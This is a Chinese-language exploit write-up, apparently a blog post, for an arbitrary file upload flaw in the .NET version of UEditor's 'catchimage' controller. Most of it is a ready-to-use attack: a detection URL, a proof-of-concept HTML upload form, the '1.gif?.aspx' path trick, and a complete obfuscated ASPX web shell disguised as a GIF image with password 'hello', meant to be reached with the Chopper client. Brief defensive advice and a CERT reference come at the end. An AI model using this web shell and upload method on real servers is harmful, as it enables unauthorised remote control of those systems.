UEditor.net版本任意文件上传到getshell
漏洞介绍
UEditor在抓取远程数据源的时,会进入”catchimage”分支。在该方法使用的CrawlerHandler类中,并未对文件类型进行验证,从而导致了任意文件上传漏洞。
漏洞利用
漏洞检测
访问如下链接 : http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
如出现
则可尝试漏洞利用
漏洞POC
1 | <form action="www.XXXX.com.cn/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> |
保存其为html文件,action中的url改为检测的链接,打开后上传框输入远程图片马1.gif地址,上传时路径最后改为1.gif?.aspx
图片马1.gif内容如下(密码为hello):
1 | GIF89a<script runat="server" language="JScript"> function popup(str) { var q = "u"; var w = "afe"; var a = q + "ns" + w; var b= eval(str,a); return(b); }</script><% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %> |
提交后可以看到返回了上传的图片马的地址
接下来使用菜刀连接即可getshell
防御措施
- 修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
- 使用各类WAF软件,防止攻击者上传恶意文件。
- 检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
参考
https://cert.360.cn/warning/detail?id=15e86d6054f506af058657851a4783c3
评论